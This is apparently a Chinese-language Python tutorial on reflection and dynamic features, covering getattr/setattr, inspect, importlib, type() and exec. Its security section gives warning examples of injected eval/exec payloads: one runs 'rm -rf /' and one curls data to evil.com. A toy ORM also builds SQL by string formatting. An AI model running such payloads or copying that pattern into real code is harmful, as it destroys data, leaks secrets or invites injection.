# 靜態(tài)方式：硬編碼
if action == "create":
    obj.create()
elif action == "update":
    obj.update()
elif action == "delete":
    obj.delete()

# 反射方式：動態(tài)調用
method = getattr(obj, action)  # 根據(jù)字符串獲取方法
method()  # 調用方法

getattr(object, name[, default])

class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age
    
    def greet(self):
        return f"Hello, I'm {self.name}"

p = Person("Alice", 30)

# 獲取屬性
name = getattr(p, "name")  # "Alice"
salary = getattr(p, "salary", 0)  # 不存在，返回默認值 0

# 獲取方法
greet_func = getattr(p, "greet")
print(greet_func())  # "Hello, I'm Alice"

# 動態(tài)調用
attr_name = input("輸入屬性名: ")  # 用戶輸入 "age"
value = getattr(p, attr_name, None)
print(value)  # 30

# getattr(obj, "name") 等價于
obj.name  # 靜態(tài)訪問
obj.__dict__["name"]  # 字典訪問

setattr(object, name, value)

class Config:
    pass

config = Config()

# 動態(tài)設置屬性
setattr(config, "host", "localhost")
setattr(config, "port", 8080)

print(config.host)  # "localhost"
print(config.port)  # 8080

# 批量設置
settings = {"debug": True, "timeout": 30}
for key, value in settings.items():
    setattr(config, key, value)

print(config.debug)  # True

# setattr(obj, "name", value) 等價于
obj.name = value
obj.__dict__["name"] = value

hasattr(object, name)

class Dog:
    def __init__(self, name):
        self.name = name
    
    def bark(self):
        return "Woof!"

dog = Dog("Buddy")

print(hasattr(dog, "name"))  # True
print(hasattr(dog, "age"))   # False
print(hasattr(dog, "bark"))  # True

# 安全的屬性訪問
if hasattr(dog, "age"):
    print(dog.age)
else:
    print("Dog has no age attribute")

# hasattr 等價于
try:
    getattr(obj, name)
    return True
except AttributeError:
    return False

delattr(object, name)

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

user = User("admin", "secret123")

# 刪除敏感屬性
delattr(user, "password")

print(hasattr(user, "password"))  # False

# 等價寫法
del user.username

dir([object])

class MyClass:
    class_var = "I'm a class variable"
    
    def __init__(self):
        self.instance_var = "I'm an instance variable"
    
    def my_method(self):
        pass

obj = MyClass()

# 查看所有屬性和方法
print(dir(obj))
# ['__class__', '__delattr__', '__dict__', ..., 'class_var', 'instance_var', 'my_method']

# 過濾出用戶定義的屬性
user_attrs = [attr for attr in dir(obj) if not attr.startswith("__")]
print(user_attrs)  # ['class_var', 'instance_var', 'my_method']

vars([object])

class Book:
    category = "fiction"  # 類屬性
    
    def __init__(self, title, author):
        self.title = title
        self.author = author

book = Book("1984", "Orwell")

print(vars(book))  # {'title': '1984', 'author': 'Orwell'}
print(book.__dict__)  # 等價

# 修改屬性
vars(book)["price"] = 19.99
print(book.price)  # 19.99

def process_object(obj):
    print(f"類型: {type(obj)}")
    print(f"ID: {id(obj)}")
    print(f"是否可調用: {callable(obj)}")
    print(f"屬性列表: {[a for a in dir(obj) if not a.startswith('_')]}")

process_object(lambda x: x * 2)
# 類型: <class 'function'>
# 是否可調用: True
# 屬性列表: ['__annotations__', '__call__', ...]

class Point:
    def __init__(self, x, y):
        self.x = x
        self.y = y

p = Point(10, 20)

print(p.__dict__)  # {'x': 10, 'y': 20}

# 直接修改 __dict__
p.__dict__["z"] = 30
print(p.z)  # 30

# 動態(tài)添加屬性
p.color = "red"
print(p.__dict__)  # {'x': 10, 'y': 20, 'z': 30, 'color': 'red'}

class Counter:
    count = 0  # 類屬性
    
    def __init__(self, name):
        self.name = name  # 實例屬性

c1 = Counter("A")
c2 = Counter("B")

print(c1.__dict__)  # {'name': 'A'}
print(Counter.__dict__["count"])  # 0

# 修改類屬性
Counter.count = 10
print(c1.count)  # 10（通過繼承訪問）
print(c2.count)  # 10

class Point2D:
    __slots__ = ["x", "y"]  # 只允許這兩個屬性
    
    def __init__(self, x, y):
        self.x = x
        self.y = y

p = Point2D(5, 10)

# 無法動態(tài)添加新屬性
try:
    p.z = 15
except AttributeError as e:
    print(e)  # 'Point2D' object has no attribute 'z'

# 沒有 __dict__
print(hasattr(p, "__dict__"))  # False

class Animal:
    species = "Unknown"

class Dog(Animal):
    species = "Canine"

dog = Dog()
dog.species = "My Dog"

print(dog.species)  # "My Dog"（實例屬性優(yōu)先）
del dog.species
print(dog.species)  # "Canine"（類屬性）
Dog.species = "Deleted"
print(dog.species)  # "Deleted"

print(Dog.__mro__)
# (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>)

import inspect

def greet(name: str, age: int = 18, *, city: str = "Beijing") -> str:
    return f"{name}, {age}, from {city}"

# 獲取簽名
sig = inspect.signature(greet)
print(sig)  # (name: str, age: int = 18, *, city: str = 'Beijing') -> str

# 獲取參數(shù)信息
for param_name, param in sig.parameters.items():
    print(f"{param_name}: {param.annotation}, 默認值={param.default}")
# name: <class 'str'>, 默認值=<class 'inspect._empty'>
# age: <class 'int'>, 默認值=18
# city: <class 'str'>, 默認值=Beijing

import inspect

class MyClass:
    def method(self):
        pass

# 判斷是否是類
print(inspect.isclass(MyClass))  # True

# 判斷是否是函數(shù)
print(inspect.isfunction(MyClass.method))  # True

# 判斷是否是方法
obj = MyClass()
print(inspect.ismethod(obj.method))  # True

# 獲取類的所有成員
members = inspect.getmembers(MyClass)
for name, value in members:
    if not name.startswith("_"):
        print(f"{name}: {value}")

import inspect

def fibonacci(n):
    """計算斐波那契數(shù)列"""
    if n <= 1:
        return n
    return fibonacci(n-1) + fibonacci(n-2)

# 獲取函數(shù)源代碼
source = inspect.getsource(fibonacci)
print(source)

# 獲取文檔字符串
doc = inspect.getdoc(fibonacci)
print(doc)  # "計算斐波那契數(shù)列"

# 傳統(tǒng)方式
import math

# 動態(tài)導入
module_name = "math"
math_module = __import__(module_name)
print(math_module.pi)  # 3.141592653589793

import importlib

# 動態(tài)導入模塊
module_name = "json"
json_module = importlib.import_module(module_name)

data = json_module.dumps({"key": "value"})
print(data)  # '{"key": "value"}'

# 重新加載模塊（開發(fā)中調試用）
importlib.reload(json_module)

import importlib
import os

def load_plugins(plugin_dir):
    """動態(tài)加載插件目錄下的所有插件"""
    plugins = []
    for filename in os.listdir(plugin_dir):
        if filename.endswith(".py") and not filename.startswith("_"):
            module_name = filename[:-3]  # 去掉 .py
            module = importlib.import_module(f"plugins.{module_name}")
            plugins.append(module)
    return plugins

# 使用
# plugins = load_plugins("./plugins")
# for plugin in plugins:
#     plugin.run()

# 正常定義類
class MyClass:
    x = 10

# 使用 type() 動態(tài)創(chuàng)建
MyClass2 = type("MyClass2", (object,), {"x": 10})

print(MyClass2.x)  # 10

# 定義方法
def greet(self):
    return f"Hello from {self.name}"

def __init__(self, name):
    self.name = name

# 動態(tài)創(chuàng)建類
Person = type(
    "Person",                    # 類名
    (object,),                   # 父類元組
    {                            # 類屬性和方法
        "__init__": __init__,
        "greet": greet,
        "species": "Human"
    }
)

# 使用動態(tài)創(chuàng)建的類
p = Person("Alice")
print(p.greet())  # "Hello from Alice"
print(p.species)  # "Human"

import types

# 創(chuàng)建函數(shù)
code = compile("return x + y", "<string>", "eval")
add_func = types.FunctionType(code, globals(), "add", (0, 0))

print(add_func(5, 3))  # 8

# 動態(tài)定義類
class_code = """
class Calculator:
    def add(self, a, b):
        return a + b
    
    def multiply(self, a, b):
        return a * b
"""

namespace = {}
exec(class_code, namespace)

Calculator = namespace["Calculator"]
calc = Calculator()
print(calc.add(10, 5))  # 15

# plugins/csv_processor.py
class CsvProcessor:
    def process(self, data):
        return f"Processing CSV: {data}"

# plugins/json_processor.py
class JsonProcessor:
    def process(self, data):
        return f"Processing JSON: {data}"

# main.py
import importlib

def load_processor(processor_name):
    """動態(tài)加載處理器"""
    module = importlib.import_module(f"plugins.{processor_name.lower()}_processor")
    class_name = f"{processor_name.capitalize()}Processor"
    return getattr(module, class_name)

# 使用
config = {"processor": "json"}  # 從配置文件讀取
ProcessorClass = load_processor(config["processor"])
processor = ProcessorClass()
print(processor.process("sample data"))
# "Processing JSON: sample data"

class Model:
    """簡易 ORM 基類"""
    
    def save(self):
        """將對象保存到數(shù)據(jù)庫（偽代碼）"""
        table_name = self.__class__.__name__.lower()
        fields = []
        values = []
        
        # 反射獲取所有屬性
        for attr, value in vars(self).items():
            if not attr.startswith("_"):
                fields.append(attr)
                values.append(repr(value))
        
        sql = f"INSERT INTO {table_name} ({', '.join(fields)}) VALUES ({', '.join(values)})"
        print(f"執(zhí)行 SQL: {sql}")
        return sql

class User(Model):
    def __init__(self, username, email):
        self.username = username
        self.email = email

# 使用
user = User("alice", "alice@example.com")
user.save()
# 執(zhí)行 SQL: INSERT INTO user (username, email) VALUES ('alice', 'alice@example.com')

import json

class Student:
    def __init__(self, name, age, grade):
        self.name = name
        self.age = age
        self.grade = grade
    
    def to_dict(self):
        """使用反射將對象轉為字典"""
        return {k: v for k, v in vars(self).items() if not k.startswith("_")}
    
    @classmethod
    def from_dict(cls, data):
        """從字典創(chuàng)建對象"""
        return cls(**data)

# 序列化
student = Student("Bob", 15, "A")
json_str = json.dumps(student.to_dict())
print(json_str)  # '{"name": "Bob", "age": 15, "grade": "A"}'

# 反序列化
data = json.loads(json_str)
new_student = Student.from_dict(data)
print(new_student.name)  # "Bob"

class Router:
    def __init__(self):
        self.routes = {}
    
    def route(self, path):
        """裝飾器：注冊路由"""
        def decorator(func):
            self.routes[path] = func
            return func
        return decorator
    
    def dispatch(self, path, *args, **kwargs):
        """根據(jù)路徑調用對應函數(shù)"""
        if path in self.routes:
            handler = self.routes[path]
            return handler(*args, **kwargs)
        else:
            return "404 Not Found"

# 使用
router = Router()

@router.route("/home")
def home():
    return "Welcome to Home Page"

@router.route("/about")
def about():
    return "About Us"

# 動態(tài)調用
print(router.dispatch("/home"))   # "Welcome to Home Page"
print(router.dispatch("/about"))  # "About Us"
print(router.dispatch("/404"))    # "404 Not Found"

import timeit

class MyClass:
    def __init__(self):
        self.value = 42
    
    def get_value(self):
        return self.value

obj = MyClass()

# 直接訪問
def direct_access():
    return obj.value

# 反射訪問
def reflection_access():
    return getattr(obj, "value")

# 性能測試
direct_time = timeit.timeit(direct_access, number=1000000)
reflection_time = timeit.timeit(reflection_access, number=1000000)

print(f"直接訪問: {direct_time:.4f}s")
print(f"反射訪問: {reflection_time:.4f}s")
print(f"反射慢了: {reflection_time / direct_time:.2f}x")

# 典型結果：反射慢 2-3 倍

# 危險示例（永遠不要這樣做）
user_input = "__import__('os').system('rm -rf /')"  # 惡意代碼
eval(user_input)  # ?? 系統(tǒng)被刪除

# 攻擊示例
user_input = "__import__('subprocess').call(['curl', 'evil.com/steal_data'])"
exec(user_input)  # ?? 數(shù)據(jù)泄露

import ast

# 方案 1: 使用 ast.literal_eval（僅支持字面量）
safe_data = ast.literal_eval("{'key': 'value', 'number': 123}")
print(safe_data)  # {'key': 'value', 'number': 123}

# 方案 2: 限制命名空間
safe_namespace = {"__builtins__": {}}
eval("1 + 1", safe_namespace)  # 安全
# eval("open('/etc/passwd')", safe_namespace)  # 報錯

# 方案 3: 使用白名單
allowed_attrs = {"add", "subtract", "multiply"}
attr = "add"
if attr in allowed_attrs:
    method = getattr(calculator, attr)

class SafeAPI:
    ALLOWED_METHODS = {"get_data", "save_data"}
    
    def get_data(self):
        return "data"
    
    def save_data(self, data):
        print(f"Saving: {data}")
    
    def _internal_method(self):
        """內部方法，不應被外部調用"""
        pass
    
    def execute(self, method_name, *args, **kwargs):
        """安全的動態(tài)調用"""
        # 1. 檢查白名單
        if method_name not in self.ALLOWED_METHODS:
            raise ValueError(f"Method {method_name} not allowed")
        
        # 2. 檢查方法是否存在
        if not hasattr(self, method_name):
            raise AttributeError(f"Method {method_name} not found")
        
        # 3. 獲取并調用
        method = getattr(self, method_name)
        return method(*args, **kwargs)

# 使用
api = SafeAPI()
api.execute("get_data")  # ? 安全
# api.execute("_internal_method")  # ? 拋出異常

# ? 過度使用反射
def process(action):
    return getattr(self, action)()  # 危險！

# ? 合理的反射
ACTIONS = {"create", "update", "delete"}
def process(action):
    if action not in ACTIONS:
        raise ValueError("Invalid action")
    return getattr(self, action)()

# 獲取屬性
getattr(obj, "attr", default)

# 設置屬性
setattr(obj, "attr", value)

# 檢查屬性
hasattr(obj, "attr")

# 刪除屬性
delattr(obj, "attr")

# 列出所有屬性
dir(obj)

# 獲取屬性字典
vars(obj)  # 等價于 obj.__dict__

# 動態(tài)導入
import importlib
module = importlib.import_module("module_name")

# 動態(tài)創(chuàng)建類
MyClass = type("MyClass", (BaseClass,), {"attr": value})

# 獲取函數(shù)簽名
import inspect
inspect.signature(func)

def safe_call(obj, method_name, *args, **kwargs):
    """安全的動態(tài)方法調用"""
    # 1. 白名單檢查
    if method_name not in ALLOWED_METHODS:
        raise ValueError(f"Method {method_name} not allowed")
    
    # 2. 存在性檢查
    if not hasattr(obj, method_name):
        raise AttributeError(f"Method {method_name} not found")
    
    # 3. 可調用性檢查
    method = getattr(obj, method_name)
    if not callable(method):
        raise TypeError(f"{method_name} is not callable")
    
    # 4. 執(zhí)行
    return method(*args, **kwargs)